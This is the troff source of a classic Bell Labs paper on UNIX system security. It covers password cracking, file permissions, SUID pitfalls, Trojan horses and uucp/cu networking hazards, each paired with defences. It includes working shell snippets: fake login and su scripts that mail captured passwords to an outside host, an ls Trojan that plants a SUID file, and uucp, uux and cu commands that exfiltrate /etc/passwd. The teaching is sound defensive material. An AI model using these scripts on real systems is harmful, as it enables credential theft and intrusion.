![[BACK]](/cvsweb/icons/back.gif){kind=icon}
Return to security.ms CVS log ![[TXT]](/cvsweb/icons/text.gif){kind=icon}
![[DIR]](/cvsweb/icons/dir.gif){kind=icon}
Up to [Research Unix] / researchv10dc / vol2 / security|
Return to security.ms CVS log | Up to [Research Unix] / researchv10dc / vol2 / security |
1.1 root 1: .so ../ADM/mac
2: .XX security 543 "UNIX System Security"
3: .de DL
4: .IP \(em 3n
5: ..
6: .TL
7: .UX
8: System Security\(dg
9: .AU
10: F. T. Grampp
11: .AI
12: .MH
13: .AU
14: R. H. Morris
15: .AI
16: .WH
17: .AB
18: Computing systems that are easy to access and that facilitate
19: communication with other systems are by their nature difficult
20: to secure.
21: Most often, though, the level of security that is actually
22: achieved is far below what it could be.
23: This is due to many factors, the most important of which are
24: the knowledge and attitudes of the administrators and users
25: of such systems.
26: .PP
27: We discuss here some of the security hazards of the
28: .UX
29: system, and
30: suggest ways to protect against them, in the hope that an
31: educated community of users will lead to a level of protection
32: that is stronger, but far more important, which represents a
33: reasonable and thoughtful balance between security
34: and ease of use of the system.
35: We will not construct parallel examples for other systems,
36: but we encourage readers to do so for themselves.
37: .AE
38: .2C
39: .FS
40: \(dg This is a reformatted version of |reference(grampp morris bstj).
41: Morris is currently Chief Scientist at the NSA.
42: .FE
43: .NH
44: Introduction
45: .PP
46: This paper is aimed primarily at a
47: technical audience and for that very reason,
48: its usefulness
49: as a tutorial for increased computer
50: system security is diminished.
51: By far the most important handles to computer
52: security and, indeed, to information security
53: generally, are the following:
54: .DL
55: physical control of one's premises
56: and computer facilities
57: .DL
58: management commitment to security
59: objectives
60: .DL
61: education of employees as to what
62: is expected of them
63: .DL
64: the existence of administrative
65: procedures aimed at increased security
66: .PP
67: Unless each of these basics is in place,
68: all of the technical solutions, the special hardware,
69: the software
70: safeguards, and the like are utterly meaningless.
71: We will not address these issues to any great
72: extent in this paper, but we mean to stress our
73: firm conviction that no level of security whatever
74: can be achieved without them.
75: .PP
76: In discussing the status of security on the
77: various versions of the
78: .UX
79: system, we will
80: try to place our observations in a wider context
81: than just the
82: .UX
83: system or one particular version of the
84: .UX
85: system.
86: As to whether
87: .UX
88: system security is better or worse
89: than that of other systems, it is neither better
90: nor worse.
91: Any system that provides the same facilities as
92: the
93: .UX
94: system
95: will necessarily have similar hazards.
96: From its inception, the
97: .UX
98: system was designed to be
99: user-friendly and most decisions which pitted security
100: against ease of use were heavily weighted in favor
101: of ease of use.
102: The result has been that the
103: .UX
104: system has become a fertile
105: test bed for the development of reasonable security
106: procedures that interfere to the minimum possible
107: extent with ease of use.
108: .PP
109: The major weakness of any information system such
110: as the
111: .UX
112: system resides in the habits and attitudes of the
113: user community.
114: Naivete and carelessness will produce awful security
115: under almost any conditions.
116: .PP
117: It is easy to run a secure computer system.
118: You merely have to disconnect all dial-up
119: connections and permit only direct-wired
120: terminals, put the machine and its terminals
121: in a shielded room, and post a guard at the door.
122: There are in fact many examples of
123: .UX
124: systems that
125: are run under exactly these conditions, principally
126: systems that contain classified or sensitive defense
127: information.
128: .PP
129: There are a number of options, implemented either in
130: hardware or in software, that provide a measure of
131: security that is almost this good.
132: Examples are systems that only respond to a dial-up
133: call by calling back on a preassigned number.
134: Many commercially available operating systems make it
135: essentially impossible to create or install any
136: user software or application software without administrative
137: help; some other systems make it virtually impossible
138: to read files belonging to another user, even when
139: the users want to cooperate in their work.
140: All these measures
141: work by restricting access to the system and by reducing
142: the powers that the system gives its users. The
143: .UX
144: system
145: was designed to increase, not decrease the power and flexibility
146: available to its users. It was designed to be easily
147: accessible and to facilitate communication within
148: its user community. Most
149: .UX
150: systems, not surprisingly,
151: are of the dialup variety.
152: They provide their users with a general
153: programming ability - to create, install,
154: and use their own programs.
155: All but a few of their files
156: are at least readable by anybody, and most of them have
157: access to thousands of other systems via remote mail and
158: file transfer facilities. That is, they use the
159: .UX
160: system as
161: its creators intended it to be used.
162: .PP
163: Such `open' systems cannot ever be made secure in any strong sense.
164: That is, they are unfit for applications involving classified
165: government information, corporate accounting,
166: records relating to individual privacy, and the like.
167: Security, though, is not an absolute matter;
168: there are tolerable levels of insecurity
169: and there are balances to be struck, not only between security
170: and accessibility but also between the cost of security
171: measures and the risk or exposure associated with
172: the information being protected.
173: By
174: homely analogy, most family silverware is stored in a
175: cabinet in a house with a lockable door. It is not
176: stored in a box on the front lawn for obvious reasons,
177: but neither is it stored in a bank vault, where it
178: would be much safer than at home, but where it could
179: not easily be used and enjoyed. The insecurity of
180: keeping it at home is both tolerable and appropriate.
181: (Neither of the authors, by the way, keep any silver in their homes.)
182: More homely yet as an example, the notion that firewood,
183: though a commodity of considerable value, might be
184: stored in a bank vault, is simply ludicrous.
185: The same balances are appropriate when it is information
186: that is being protected.
187: .PP
188: Most
189: .UX
190: systems are far less secure than they can
191: and should be. This unwarranted insecurity is largely
192: caused by complacency and by the use of concealment
193: as a security measure.
194: The administrators don't want word of gaping holes going
195: out the door. The bad guys agree, but for different
196: reasons. This attitude produces an unhealthy situation in which
197: administrators and users alike are uninformed about
198: security issues.
199: Much silverware is left on the lawn, and only the
200: bad guys are well informed about the exposure and
201: the risks.
202: .PP
203: Concealment is not security. The intent of this article is
204: to survey at least the better-known security hazards
205: associated with the
206: .UX
207: system, and to suggest ways in which
208: security can be improved without greatly
209: diminishing the
210: usefulness of the system to its authorized users.
211: .PP
212: Topics to be covered are these:
213: .DL
214: the insecure nature of passwords
215: .DL
216: protection of files
217: .DL
218: special privileges and responsibilities of administrators
219: .DL
220: burglary tools, and protection against them
221: .DL
222: networking hazards
223: .DL
224: data encryption
225: .PP
226: All these will be discussed in the context of
227: a community of users who are largely naive about security
228: issues.
229: .PP
230: There is nothing in the above list that is specific to the
231: .UX
232: system. All of the problems that will be discussed here
233: are system-dependent instances of far more general problems
234: that appear in other forms on other systems. It is inappropriate
235: to construct parallel exhibits from other systems here,
236: but readers might find it rewarding to do this themselves.
237: .PP
238: Finally, there was more than a little trepidation about
239: publishing this article. There is a fine line between
240: helping administrators protect their systems and providing
241: a cookbook for creeps.
242: The consensus of the authors and
243: reviewers is that the information presented here is well-known:
244: the bad guys know it well, and a more favorable distribution
245: of this knowledge is desirable.
246: .NH
247: Password Security
248: .PP
249: The most important and usually the only barrier to the
250: unauthorized use of a
251: .UX
252: system is the password that
253: a user must utter in order to gain access to the system.
254: Much attention has been paid to making the
255: .UX
256: password
257: scheme as secure as possible against would-be
258: intruders |reference(morris thompson cacm).
259: The result is a password file in which only encrypted
260: passwords are kept. A person logging into the system is
261: asked for a password. The password is then encrypted
262: with a one-way transformation,
263: and compared to the encrypted password
264: previously stored in the file.
265: Access
266: is permitted only if the two match.
267: An advantage of this system of password control
268: is that there is no record anywhere of the user's
269: password.
270: .PP
271: No method appears to be known to extract a user's
272: password from the encrypted version that is stored.
273: The one-way
274: encryption has proven to be good enough to thwart a brute-force attack.
275: In practice, it is easy to
276: write programs that are extremely successful at extracting
277: passwords from password files, and that are also very
278: economical to run.
279: They operate, however, by an indirect method that
280: amounts to guessing
281: what a user's password might be, and then
282: trying over and over until the
283: correct one is found.
284: .PP
285: Such programs are commonly called `password crackers'.
286: They were virtually unknown five years ago, but are
287: widely known today. They work by encrypting a good guess
288: as to what a person's password might be, and comparing
289: this with the encrypted password in the file. Good
290: guesses can be made without any personal knowledge of
291: the people listed in the password file, since the
292: file itself provides clues. Each line therein contains,
293: in addition to the encrypted password, the user's login
294: name, home directory, login shell, and perhaps some
295: comments.
296: .PP
297: The most important clue is the login name. People who
298: are naive about security issues very often use login
299: names or variants thereof as passwords. For example,
300: if the login name is `abc', then `abc', `cba' and
301: `abcabc' are excellent candidates for passwords. Experiments
302: involving over a hundred password files have shown that
303: a program that uses only these three guesses requires
304: several minutes of minicomputer time to process a typical
305: password file, and can be counted on to deliver between
306: 8 and 30 percent of the passwords in cases where neither
307: users nor system administrators have been security
308: conscious.
309: .PP
310: Other clues can also be had from the password file.
311: There is a `comments' field that is used in most systems
312: to provide information about a user. It usually contains
313: things like surname, given name, address, telephone
314: number, project name, and so on, all of which can be
315: extremely rewarding to try.
316: .PP
317: Finally, if an intruder knows something about the people
318: using a machine, a whole new set of candidates is available.
319: Family and friends' names, auto registration numbers,
320: hobbies and pets are particularly productive categories
321: to try interactively in the unlikely event that a purely
322: mechanical scan of the password file turns out to be
323: disappointing.
324: .PP
325: Once the hazards are known, remedial steps can be taken
326: to bolster password security. The following are known to
327: be helpful:
328: .DL
329: Make it difficult for outsiders to obtain a copy of
330: a machine's password file. An intruder who is denied
331: a copy of the file must resort to dialing into the
332: target machine and making guesses interactively via
333: the normal login sequence. This takes much more time
334: than simply running a cracker program on one's own
335: machine.
336: Actual login attempts are likely to be expensive,
337: and
338: greatly increase the chance that the intrusion attempt
339: will be discovered
340: by audit software.
341: There is, of course, little that
342: can be done to prevent a malicious insider from shipping
343: the file out the door;
344: but at least steps should be taken that an
345: outsider cannot use networking arrangements
346: to remotely cause the password file to be
347: shipped out.
348: .DL
349: Remove the encrypted passwords from the password file
350: and place them in a parallel file that is unreadable
351: to the general public and to networking programs like
352: .I uucp .
353: A considerate touch here is to replace the
354: encrypted fields in the password file with random strings of
355: the proper length and in the alphabet of encrypted
356: passwords. This has the potential for not interfering with
357: legitimate programs that might use the file,
358: and wasting large amounts of an intruder's time.
359: .DL
360: Likewise, keep the comment field elsewhere. Besides
361: removing useful clues, this has the benign side-effect
362: of shortening the password file considerably, thereby
363: speeding up programs like
364: .I ls
365: that search it sequentially.
366: .DL
367: Modify the
368: .I passwd
369: program to prevent users from installing
370: easily derivable passwords such as `abcabc'.
371: .DL
372: Educate users about bad passwords and good passwords.
373: One recipe for good passwords is to pick some common
374: word that is easily remembered but in no way associated
375: with its owner and then to botch it in some way so
376: that it will not be found in a dictionary, e.g., by
377: misspelling it, adding punctuation, and so on. An
378: alternative approach is to assign passwords to users,
379: rather than letting them choose their own. Both methods
380: have weaknesses. Left to their own ways, some people
381: will still use cute doggie names as passwords.
382: What is far more serious is that if randomly generated
383: passwords are assigned, most people will write them
384: down somewhere, often in very obvious places. The
385: former approach seems to be the safer.
386: .PP
387: It takes continuing ingenuity to keep up with
388: prevailing silly practices in choosing passwords.
389: Several years ago, new software was distributed
390: that required all new passwords to contain at least
391: six characters and to contain at least one
392: non-alphabetic character.
393: (In fact, it rejected both purely alphabetic and
394: purely numeric passwords.)
395: The authors made a survey of several dozen local
396: machines, using as trial passwords a collection of
397: the twenty most common female first names, each followed
398: by a single digit.
399: The total number of passwords tried was, therefore,
400: two hundred.
401: At least one of these two hundred passwords turned out to
402: be a valid password on every machine surveyed.
403: .NH
404: Files And File Systems
405: .PP
406: Every file in a
407: .UX
408: file system has associated with it a set
409: of permissions that specifies who can access the file and how.
410: The permissions are kept in a 9-bit field that is part of a
411: variable called
412: .I mode ,
413: which is part of a larger structure
414: called an
415: .I inode
416: that describes the file. There is a one-to-one correspondence
417: between files and inodes. (To simplify
418: matters, no distinction will be made between ordinary files,
419: directories and special files unless needed.)
420: .PP
421: The permission bits specify read, write and execute permissions
422: for the owner of the file, others in the owner's group, and
423: everybody else. In
424: .UX
425: software and writings about it, the
426: permissions field is most often presented as either a three-digit
427: octal number or a nine-character string. For example,
428: the mode of a file that can be read, written or executed by
429: its owner, read and executed by members of the owner's group,
430: and read by everybody else would be 754 or
431: .CW rwxr-xr-- .
432: Both notations will be used here, as appropriate.
433: .PP
434: The algorithm used to determine permissions is this:
435: .P1 0
436: if(user is owner){
437: if(permissions are set) it's ok
438: else quit.
439: }
440: .P3
441: if(user is in owner's group){
442: if(permissions are set) it's ok
443: else quit.
444: }
445: .P3
446: if(permissions are set) it's ok.
447: .P2
448: .PP
449: Note especially that the algorithm does not look for all
450: possible conditions, in a hierarchical sense, in which a
451: user might have access to a file. This is done so that a
452: person can create a file whose access permissions are not
453: `kept in the family'. For instance, a file whose mode is
454: set to
455: 007
456: .CW ------rwx ) (
457: can be read, written and executed by anyone
458: except its owner and members of its owner's group.
459: .PP
460: All such permission checking is bypassed if the user is
461: the super-user.
462: .PP
463: Two additional things must be mentioned about directories.
464: First, since a directory cannot be executed, the bits that
465: would be used to specify execute permissions are instead
466: used to specify search permissions, that is, the ability
467: to climb into a directory or to use it as a component of
468: a path name. Second, underlying directory
469: permissions can adversely affect the safety of seemingly
470: protected files. Suppose
471: .CW d
472: is a directory whose mode is
473: 730 that contains a file
474: .CW f
475: of mode 644, that both
476: .CW d
477: and
478: .CW f
479: have the same owner and group, and
480: .CW f
481: contains the text
482: .CW something .
483: Disregarding the super-user, no one besides
484: the owner of
485: .CW f
486: can change its contents, since only the
487: owner has write permission. Notice, though, that anyone
488: in the owner's group has write permission for
489: .CW d ,
490: so that
491: any such person can remove
492: .CW f
493: from
494: .CW d
495: and install a different
496: version:
497: .P1
498: rm d/f
499: echo something else >d/f
500: .P2
501: which for most purposes is the equivalent of being able to
502: modify
503: .CW f .
504: Further, had
505: .CW f
506: been a directory rather than a
507: file, the same person could have moved it (and all of its
508: contents) elsewhere and replaced it with an entirely new
509: structure. Thus to ensure that a file cannot be modified,
510: it is necessary that
511: .IP \ \ \ \(bu
512: The file itself must be write-protected.
513: .IP \ \ \ \(bu
514: The directory containing it, and all lower directories,
515: must be similarly protected.
516: .IP \ \ \ \(bu
517: Group permissions must be considered. This last is especially
518: important if most of the users of a system are in the
519: same group, as is the default case on most
520: .UX
521: systems.
522: .LP
523: The mode of an existing file can be changed with the
524: .I chmod
525: command, or, from a C program, by using the system call
526: of the same name. The ownership of a file is changed by using
527: the
528: .I chown
529: command or system call. Some versions of
530: .UX
531: restrict
532: .I chown
533: to the super-user. Others also permit the owner of a file
534: to give it away to someone else. The latter convention provides
535: an opportunity for fraud on systems whose users are charged
536: for their disk space, but there is also a subtler problem that
537: will be discussed in the next section.
538: .PP
539: Finally, when a file is created, it is given the owner and
540: group ids of the user who created it, and a mode that corresponds to
541: an argument of the creat or open system call, modified by
542: a user-supplied parameter called a
543: .I umask .
544: This parameter
545: is also a nine-bit field, each of whose bits specifies that
546: the corresponding permission bit not be set, i.e., the
547: resulting permission field is the logical and of the file creation
548: mask and the one's complement of the umask. A user's umask is set
549: to some default value at login time, and can subsequently be
550: modified by the user via the umask command or system call.
551: Simple prudence about accident protection suggests a default
552: umask of 022, which makes files unwritable except by their
553: owners.
554: .PP
555: The tree of directories and files that makes up a
556: .UX
557: file
558: system is just a logical structure that is mapped onto a physical
559: device \(em a disk \(em in order to make it easy for people to
560: use the disk. If the physical disk can be written or read,
561: so can any file in the file system that resides on the disk.
562: All that is needed is a little knowledge and effort. It follows
563: then that the special files that permit access to the physical
564: disk should be accessible only to the super-user if file
565: protections are to be worth much. In practice, this rule is
566: usually relaxed so that the disks are writable only by the
567: super-user, but that they can also be read by some administrative
568: group.
569: .PP
570: Finally, access to programs' working storage on a machine is
571: available via the special files
572: .CW /dev/mem
573: (memory) and
574: .CW /dev/kmem
575: (kernel memory). Write permission for memory allows
576: a process to modify itself in any way, including giving
577: itself super-user privileges. Read permission allows it to
578: inspect things like the standard input and output of other
579: processes. Hence the same precautions that apply to physical
580: disk access apply here also.
581: .PP
582: There is more to be said about files and file systems, and
583: more will be said later on, after a few pitfalls have been
584: dissected to provide some background.
585: .NH
586: SUID Programs
587: .PP
588: The
589: .I set-userid
590: facility is a novel and
591: useful feature in the
592: .UX
593: system|reference(ritchie setuid patent).
594: It allows a program
595: to be constructed in such a way that the userid, groupid
596: or both of the user who executes the program to be changed
597: temporarily for the duration of the program's execution.
598: .PP
599: This makes it trivially easy to write programs that would be
600: difficult or impossible to implement on other operating systems.
601: Any user can set up a game that keeps a score file that is
602: normally protected from others but is open for writing and
603: reading to anyone who is currently playing the game. Programs
604: like
605: .I ps
606: that show what is going on in the system (by reading
607: operating system memory locations) and
608: .I df
609: that shows disk utilization (by reading
610: the physical disk) and
611: .I passwd
612: that lets a user write in the
613: password file to change a password are similarly easy to write.
614: .PP
615: Two bits in the mode of a file in which a program is kept
616: determine whether the program will be of the SUID variety.
617: These are kept in an octal digit just to the left of the
618: permission bits. Octal 4xxx changes the userid to that of
619: the program's owner. Octal 2xxx changes the group id to that of the
620: owner's group.
621: As with
622: the permissions, these bits are set by chmod.
623: .PP
624: If any user of the system were free to issue the following
625: sequence of commands:
626: .P1
627: cp /bin/sh a.out
628: chmod 4777 a.out
629: chown root a.out
630: .P2
631: .LP
632: the result would be a shell that would give
633: super-user privileges to anyone who executed it. The danger is obvious,
634: and is disabled by the design of the chown and chmod commands
635: and system calls. The disablement takes one of two forms depending
636: on the version of
637: .UX .
638: .IP
639: If the version of
640: .UX
641: restricts chown to the superuser,
642: there is no problem.
643: .IP
644: If the version permits a user to give away files, chown
645: first knocks down the SUID bits before changing ownership.
646: .LP
647: The clear danger is taken care of, but the feature is by no means
648: tame. Over the years it has provided truly horrid security flaws
649: in various versions of the system.
650: Some early versions of the
651: .I mail
652: command, which ran as
653: super-user so as to be able to write in protected mailboxes, could
654: be coaxed to do things like appending lines to the password file.
655: Some versions of
656: .I login ,
657: when invoked after all available file
658: descriptors were in use, would log a user in as the super-user.
659: Sending a `quit' signal to a running SUID program would produce a writable SUID file
660: called
661: .CW core ,
662: suitable for debugging and other things. The list
663: is long, but the point is made: the SUID facility is a very powerful
664: tool, and like all powerful tools it must be handled with care.
665: Here are some hints about care.
666: .DL
667: SUID programs should be used only when there is no other
668: way to get a desired result. On most
669: .UX
670: systems, perhaps
671: a dozen SUID programs, excluding games, are really needed.
672: A lax attitude about SUID programs, combined with a `quick
673: and dirty' programming style, can produce disasters. As an
674: example, a security audit on a system on which a number of people
675: working on the same project had need to write in each other's files
676: turned up an alarming fact. The people involved knew next to
677: nothing about how to use groups and were too lazy to learn,
678: so they resorted to SUID programs instead. About 200 of these
679: were found. Half of these were owned by the super-user, and
680: most of these were writable by others, including one called
681: a.out whose permission field was 777. Unfortunately, such
682: sloppiness is not rare.
683: .DL
684: It is difficult, when writing all but the most trivial programs,
685: to determine in advance that the program will be correct. Programs
686: sometimes do the most amazing things in unforeseen circumstances.
687: When designing and writing SUID programs, it is particularly
688: important to pay attention to simplicity of function and cleanliness
689: of implementation, since unexpected behavior can easily produce
690: security holes.
691: .DL
692: Escapes from SUID programs \(em child processes that are given
693: a shell \(em are highly unrecommended. If these can't be avoided,
694: the designer must carefully consider the consequences of inherited
695: files, signals, the shell's environment, and so on.
696: Some systems provide a `restricted shell' whose capabilities
697: are somewhat less than those of the standard shell. The restrictions
698: are useful in reducing the accident rate among data-entry clerks
699: and in similar applications.
700: Using a restricted shell to contain an intruder is rash. Most of these are about as
701: restrictive as childproof bottle caps.
702: .DL
703: SUID programs that are writable by anyone besides their owners
704: should be considered threatening.
705: .DL
706: System administrators should verify that the SUID programs that
707: are supplied with the system are clean, i.e., that the source
708: has not been tampered with to provide new features, and that
709: the binaries have been compiled from the clean source.
710: This last precaution is necessary but not sufficient.
711: Thompson|reference(thompson cacm trust) has shown that compilers can be infected
712: so as to modify the code that they compile, without
713: leaving visible traces of the modification in any
714: source code, even that for the compiler. In practice,
715: such compiler viruses are likely to be rare, simply
716: because they require much more skill and effort than
717: other tampering techniques.
718: .NH
719: Trojan Horses
720: .PP
721: A favorite tool of the intruder is the Trojan horse.
722: As the name implies, a Trojan horse is a program that
723: an intruder gives to an unsuspecting user of a system.
724: It does what it is obviously supposed to do, but it also
725: quietly performs some malfeasance on behalf of the intruder.
726: The technique has been around for thousands of years,
727: and it still works splendidly. Here are some modern instances.
728: .PP
729: Ritchie|reference(ritchie security) shows a non-cryptanalytic way of finding out
730: passwords as follows: ``Write a program which types out
731: .CW login:
732: on the typewriter and copies whatever is typed
733: to a file of your own. Then invoke the command and go away
734: until the victim arrives.'' At first glance, this seems
735: to be a case of some legitimate user of a system coveting
736: a neighbor's password, but in fact there are more interesting
737: applications. Also implied is that the horse must faithfully
738: simulate the non-trivial login command, which is a lot of work.
739: Actually, all that is needed is to simulate an unsuccessful
740: login attempt, as if the user had made a typing mistake, and
741: that is a horse of a different color:
742: .P1
743: echo -n "login: "
744: read X
745: stty -echo
746: echo -n "Password: "
747: read Y
748: echo ""
749: stty echo
750: echo $X $Y | mail outside!creep&
751: sleep 1
752: echo Login incorrect
753: stty 0 >/dev/tty
754: .P2
755: .PP
756: The shell script is simplicity itself, with a few kindnesses
757: added to make its victim feel more at home. It asks for a
758: login name and then a password, mails these to the bad guy,
759: announces failure and hangs up the phone. The user then dials
760: the computer, gets a real login command, carefully types
761: what is asked for, and goes about business as usual, unaware
762: of the swindle. Note that there was no requirement that the
763: horse be planted on the target machine, and in practice this
764: will likely not be the case.
765: .PP
766: Once on the target machine, the intruder can use similar horses
767: to acquire the privileges of other users. One of the most
768: frequently used commands on
769: .UX
770: systems is
771: .I ls ,
772: which is
773: .UX
774: shorthand for ``tell me some things about these files.''
775: .I Ls
776: can be used in many contexts and with many
777: options, but as was the case with
778: .I login ,
779: a trivialized version
780: can give joy to an intruder:
781: .P1
782: >somewhere/.harmless
783: chmod 6777 somewhere/.harmless
784: sleep 2
785: echo "{ls: not found"
786: rm ls
787: .P2
788: .PP
789: It is placed in an executable file named
790: .I ls
791: in any writable directory that the victim will
792: search for commands before looking in
793: .CW /bin .
794: When executed,
795: it creates a writable file called
796: .CW .harmless
797: in some far
798: corner of the machine, with the SUID bits turned on
799: in the file's permission mask. It then prints
800: .CW "{ls: not found" ,
801: erases itself, and exits.
802: .PP
803: The
804: .CW {
805: is indicative of a noisy telephone line. People are
806: used to it, and will automatically retype a command that gets
807: such a hit. When the command is retyped, the horse is gone, and
808: the real
809: .I ls
810: is executed. Sometime later, the intruder will
811: copy the shell into
812: .CW .harmless ,
813: execute it, and assume
814: the identity of the victim.
815: .PP
816: The most desirable identity for the intruder to assume is
817: that of the super-user. System administrators acquire
818: super-user privileges by executing a program called
819: .I su .
820: The
821: .I su
822: command asks for the root password and bestows system-wide privileges
823: to those who type it correctly. A horse named
824: .I su ,
825: placed
826: where it will be executed by a system administrator, can
827: usually be relied on to send a gift within hours:
828: .P1
829: stty -echo
830: echo -n "Password: "
831: read X
832: echo ""
833: stty echo
834: .P3
835: echo $X | mail outside!creep&
836: sleep 1
837: echo Sorry.
838: rm su
839: .P2
840: .PP
841: Horses like this are easy to make and can be custom-tailored
842: to suit a wide variety of applications. Knowing how they
843: work suggests ways to defend against them:
844: .DL
845: In order for horses like
846: .I ls
847: and
848: .I su
849: to work, they must be
850: planted in places where they will be executed by their
851: intended victims. The operating system searches for commands
852: in a sequence of directories named in a string called
853: PATH that is associated with each user. PATH is set each
854: time a user logs in, and may be modified in the course of
855: the terminal session. Typically, it specifies the user's
856: current working directory, perhaps a private directory,
857: .CW /bin
858: and
859: .CW /usr/bin ,
860: usually in that order. If the directories
861: that are searched prior to
862: .CW /bin
863: are not writable by the
864: intruder, the horse cannot be planted. Such protection is
865: most important for system administrators. A secondary level
866: of protection can be achieved by having peoples'
867: .CW .profile
868: files unreadable, so that an intruder is not shown the
869: intended victim's initial PATH setting. This turns
870: out to be a minor nuisance, and offers little additional protection,
871: as vulnerable PATH components can be deduced in other ways.
872: .DL
873: Modifying the (real)
874: .I su
875: program so that it insists upon
876: being invoked by a full path name is very effective. The
877: change is trivial; the program needs only to check that
878: the first character of its 0th argument is
879: .CW / .
880: Legitimate
881: users very quickly fall into the habit of typing
882: .CW /bin/su
883: rather than
884: .CW su
885: thereby guaranteeing that the `official'
886: version gets executed, regardless of whether a horse is
887: nearby. A further recommended change to
888: .I su
889: is that on successful
890: invocation it changes the PATH string so that only
891: .CW /bin
892: and
893: .CW /usr/bin
894: will be searched for commands. This prevents
895: nonstandard versions of commands like
896: .I ls
897: from being executed
898: with super-user privileges.
899: .DL
900: There is no defense against the
901: .I login
902: horse except user
903: education. Anyone who walks up to a previously unattended
904: terminal that says
905: .CW login:
906: and types in the keys to the
907: machine is fair game.
908: .NH
909: Networking
910: .PP
911: Several times in the previous discussion it was tacitly
912: assumed that files pertaining to the security of a system,
913: in particular the password file, might very well be
914: available to an intruder who had not yet managed to
915: penetrate the system. It turns out that the same
916: communications programs that facilitate the exchange of
917: ideas and information among people on different machines
918: can, unless great care is taken, be used to subvert a
919: machine from a safe distance.
920: .PP
921: The
922: .I uucp |reference(uucp nowitz lesk v7man)
923: program makes it possible to copy files
924: from one
925: .UX
926: system to another, and is the workhorse of
927: .UX
928: networking. Indeed, the ease of information
929: interchange by way of
930: .I uucp
931: and programs like
932: .I mail
933: that
934: use it, accounts for much of the usefulness and popularity
935: of the
936: .UX
937: system. The problem with
938: .I uucp
939: is that if
940: left unrestricted, it will let any outside user
941: execute any commands and copy out/in any file that is
942: readable/writable by a uucp login user. It is up to
943: the individual sites to be aware of this and apply the
944: protections that they feel are necessary|reference(latest uucp administration).
945: If the administrator of a site is naive or inattentive,
946: getting a password file from that site can be as
947: easy as typing
948: .P1 0
949: uucp -m target!/etc/passwd gift
950: .P2
951: to copy the remote machine's password file to a local
952: file called
953: .CW gift .
954: (The
955: .CW -m
956: option is a convenience,
957: not a necessity. It causes
958: .I uucp
959: to send mail to the
960: intruder when the gift has arrived.) Three years ago,
961: this ploy was almost certain to succeed. Today, many
962: (but not all) systems have restrictions on which files
963: can be accessed and by whom. Typically, they restrict
964: access to a directory reserved for that purpose:
965: .CW /usr/spool/uucppublic .
966: .PP
967: If the direct approach is spurned,
968: .I uux
969: might be tried.
970: .I uux
971: is a program that is part of the uucp system.
972: It causes execution of programs to take place on remote
973: systems. Its main use \(em in practice, almost its only
974: use \(em is to start up the mail delivery machinery on
975: a remote system after
976: .I uucp
977: has delivered the mail files
978: to a spooling area. Like
979: .I uucp
980: though, it has full
981: generality built in, and it may be possible to successfully
982: execute a command like:
983: .P1 0
984: uux "target!cat </etc/passwd
985: >/usr/spool/uucppublic/x"
986: .P2
987: .PP
988: This copies the password file to the remote machine's
989: spool directory, from which it can later be plucked.
990: Like
991: .I uucp ,
992: .I uux
993: may have some restrictions, but there is
994: a difference: to ensure `generality', the remote system
995: passes the arguments of
996: .I uux
997: to a shell for interpretation
998: and execution. The far end of a uucp transaction needs
999: only to see whether access to some file is legitimate,
1000: but the far end of a
1001: .I uux
1002: transaction must examine the
1003: command and its context and decide whether the result
1004: will be harmful. The latter is extremely difficult,
1005: because the shell, like most other macro processors,
1006: has some very complex quoting conventions deliberately
1007: designed to hide certain types of strings until the
1008: proper time for their expansion. An intruder with
1009: sufficient shell programming experience is likely to
1010: succeed here.
1011: .PP
1012: Finally, given that neither
1013: .I uucp
1014: nor
1015: .I uux
1016: will perform
1017: as directed, there is always the option of making a private
1018: copy of
1019: .I uucp .
1020: No special permissions are required,
1021: either to run the program or to access the telephone
1022: dialers. The private copy can assert that it is calling
1023: from anywhere, and there is no way for the called machine
1024: to verify the claim. Thus an intruder stands a good
1025: chance of dialing into one of a cluster of friendly
1026: machines, masquerading as one of the family, and
1027: finding access permissions greatly relaxed.
1028: .PP
1029: Another communications program called
1030: .I cu
1031: is
1032: especially appealing to intruders. The name
1033: .I cu
1034: stands for `call
1035: .UX '.
1036: It allows a user of a
1037: .UX
1038: system to
1039: call another system, not necessarily
1040: .UX ,
1041: and to
1042: conduct an interactive session on the remote machine.
1043: A typical
1044: .I cu
1045: session starts like this:
1046: .P1
1047: $ cu 5551212
1048: .SP
1049: Connected
1050: .SP
1051: remote
1052: login: user
1053: Password:
1054: $ [session from here until ~.]
1055: ...
1056: ...
1057: .P2
1058: .PP
1059: Note the sequence of events.
1060: .I cu
1061: is invoked and given
1062: the telephone number of the remote machine. A connection
1063: is made, and the user is asked for a login name and
1064: a password. If these are correctly given, the session
1065: proceeds as if the user had manually dialed in. The
1066: session ends when the user types a line beginning
1067: with
1068: .CW ~ .
1069: .PP
1070: Consider two machines, one on which very careful attention
1071: has been paid to security concerns, and another on which
1072: security issues have been utterly neglected. An intruder on the
1073: weak machine need only install a horse \(em a version
1074: of
1075: .I cu
1076: that in addition to making connections also
1077: copies the first few lines of a session somewhere \(em to
1078: obtain the keys to the strong machine.
1079: .PP
1080: It would seem that a good rule to follow with
1081: .I cu
1082: would
1083: be never to use it to get from a weak machine to a stronger
1084: machine, but sometimes this is not sufficient.
1085: .I cu
1086: allows escape
1087: sequences that are not transmitted to the remote machine,
1088: but instead cause certain useful functions to be
1089: performed. For example, any line beginning with
1090: .CW ~%put
1091: tells
1092: .I cu
1093: to copy a file from the local machine to the
1094: remote; lines beginning with
1095: .CW ~%take
1096: cause things to go
1097: the other way. Of special interest are lines beginning
1098: with
1099: .CW !
1100: that cause commands to be executed on the
1101: local machine.
1102: For example,
1103: .P1
1104: ~!mail
1105: .P2
1106: lets a user read mail on the local machine while still
1107: connected to the remote.
1108: .PP
1109: For some versions of
1110: .I cu ,
1111: the local machine cannot tell how a line was generated
1112: when it gets it from the remote machine.
1113: It just has a line of text. If the line says
1114: .P1
1115: ~!mail somewhere </etc/passwd
1116: .P2
1117: it may have been typed deliberately by the user, it may
1118: have been written to the user's terminal by a bad guy on
1119: the remote machine, or it may have been contained in a
1120: file on the remote machine that the user had been
1121: printing. The result is the same in any case: the password
1122: file is tossed over the wall.
1123: .PP
1124: The
1125: .I ct
1126: command causes a machine to call out to a terminal
1127: in order to let that terminal log in to the machine.
1128: It is otherwise identical to the
1129: .I cu
1130: command, but from an intruder's
1131: point of view, the target machine gets to pay the phone bill.
1132: This reduced cost is counterbalanced by the greatly increased risk
1133: of getting caught by audit procedures.
1134: .PP
1135: Finally, there are local area networks, or LANs. These
1136: are arrangements in which some kind of high speed
1137: communications channel is used to connect a cluster of
1138: machines that are geographically close to one another,
1139: e.g., a dozen machines in the same building. The intent
1140: of an LAN is usually not only to make it easy to share
1141: information, but also to provide users of all the machines
